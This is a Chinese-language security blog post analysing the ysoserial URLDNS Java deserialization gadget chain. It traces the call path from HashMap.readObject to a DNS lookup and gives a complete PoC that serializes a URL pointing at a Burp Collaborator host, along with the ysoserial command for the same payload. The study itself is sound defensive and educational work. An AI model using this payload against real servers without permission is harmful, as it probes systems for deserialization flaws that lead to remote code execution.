前言


项目地址:
ysoserial/src/main/java/ysoserial/payloads/URLDNS.java at master · frohoff/ysoserial (github.com)

URLDNSysoserial中的一条利用链,通常用于检测是否存在Java反序列化漏洞,特点:

  • 只能发起dns请求,不能进行其他利用
  • 目标无回显
  • 使⽤用Java内置的类构造,对第三⽅方库没有依赖

原理分析


官方给的Gadget Chain:

1
2
3
4
*     HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()

我们正着来走一遍
先跟进HashMap类,是一个可序列化的类,其重写了readObject()方法,然后通过一个for循环K key = (K) s.readObject();进行反序列化。然后调用putVal()函数,在其中调用hash(key)。
image.png

image.png
key != null时,调用hashCode()函数。这里的 key 是可控的,就是传入的 java.net.URL
image.png

而在java.net.URL类中,首先URL类是一个可反序列化的类。
image.png
URL类中存在hashCode()方法,由于hashCode的值默认为-1,因此会执行hashCode = handler.hashCode(this);

image.png
跟进hashCode(),发现其调用了一个getHostAddress(u),其作用为解析域名,从而发起DNS请求。我们再往下跟进,确认一下。
image.png

跟进getHostAddress(u)
image.png
调用了URLgetHostAddress(),继续跟进
image.png
InetAddress.getByName(host)中,跟进主机名获取对应的InetAddress实例,这个过程就涉及到了DNS请求。

利用


这条链子非常简单,在利用这一部分我分成了两块,首先我们先尝试自行利用,然后再去看看ysoserial这个项目的利用。

自行利用

bp Collaborator,用于接受dns请求

注意这里的 key 以及 value 是从 tab 中取的,而 tab 的值即 HashMap 中 table 的值。
想要修改 table 的值,就需要调用 HashMap#put 方法,而 HashMap#put 方法中也会对 key 调用一次 hash 方法,所以这里也会产生一次 dns 查询
为了避免这次 dns 查询,我们将 hashCode 设置不为 -1 的其他值

完整poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public class urlTest {  
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:\\project\\javasec\\serialize\\test1.ser"));
oos.writeObject(obj);
}
public static Object unserilaize(String filename) throws IOException,ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
HashMap<URL,Integer> map = new HashMap<URL,Integer>();
URL url = new URL("http://qd7hleapt7utrzq9oy5yyk8m1d74vujj.oastify.com");
Class c = url.getClass();
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(url,1); //不为-1即可
map.put(url,1);
//改回-1
hashcodeField.set(url,-1);
serialize(map);
unserilaize("D:\\project\\javasec\\serialize\\test1.ser");
}
}

image.png

注意!
在jdk17+已经不能直接通过 setAccessible来访问私有属性了。

ysoserial直接利用URLDNS链

将ysoserial项目 git clone 下来,咱们直接调试jar源代码。局部调试,在源代码中调用特定class文件的main函数进行调试。

ysoserial项目是由 maven 构建的,我们查看pom.xml文件,其中存在 <mainClass>,表明 ysoserial.GeneratePayload 就是主类。
image.png

由于在ysoserial中所有payload生成接口都可以从ysoserial.GeneratePayload进入,我们可以调用该类的main函数同时指定参数,进入任意payload生成模块。

我们再来看看GeneratePayload的main函数
image.png
检查传递的命令行参数数量是否为2,然后分别存储从命令行输入的payload类型和命令。

如果此时直接开始调试只能在 console 中看到输出 usage 页面,ysoserial 需要添加参数来运行指定的 payloads 模块。

所以需要修改默认参数为上述所说,修改路径/方法如下。打开 IDEA 右上角的 Edit Configurations...

image.png

以上方法主要是调试整个程序,调试其他项目的思想大致如此。

ysoserial 可以不用单独调试,这里主要是为了记录方法/思想,以后遇到其他项目时就知道该怎么去调试了。

细看ysoserial的URLDNS

在渗透测试中,如果对着服务器打一发JAVA反序列化payload,而没有任何回应,往往就不知道问题出在了哪里

  1. 打成功了,只是对方机器不能出网?
  2. 还是对面JAVA环境与payload版本不一样,改改就可以?
  3. 还是对方没有用这个payload利用链的所需库?利用链所需库的版本不对?换换就可以?
  4. 还是…以上做的都是瞎操作,这里压根没有反序列化readobject点QAQ

而URLDNS模块正是解决了以上疑惑的最后一个,确认了readobject反序列化利用点的存在。不至于payload改来改去却发现最后是因为压根没有利用点所以没用。同时因为这个利用链不依赖任何第三方库,没有什么限制。

如果目标服务器存在反序列化动作(readobject),处理了我们的输入,同时按照我们给定的URL地址完成了DNS查询,我们就可以确认是存在反序列化利用点的。

从JAVA反序列化RCE的三要素(readobject反序列化利用点 + 利用链 + RCE触发点)来说,是通过(readobject反序列化利用点 + DNS查询)来确认readobject反序列化利用点的存在。

ysoserial payload生成命令:java -jar ysoserial.jar URLDNS "自己能够查询DNS记录的域名"

参考:
ysoserial/src/main/java/ysoserial/payloads/URLDNS.java at master · frohoff/ysoserial (github.com)
Java安全学习—URLDNS链 - FreeBuf网络安全行业门户
URLDNS链详解 - N1Rvana’s Blog (nlrvana.github.io)
JAVA反序列化-ysoserial-URLDNS-安全客 - 安全资讯平台 (anquanke.com)
理解Java反序列化-ysoserial URLDNS | Seikei’s Blog (s31k31.github.io)
知识星球-代码审计:Java安全漫谈 – 08.反序列化篇(2)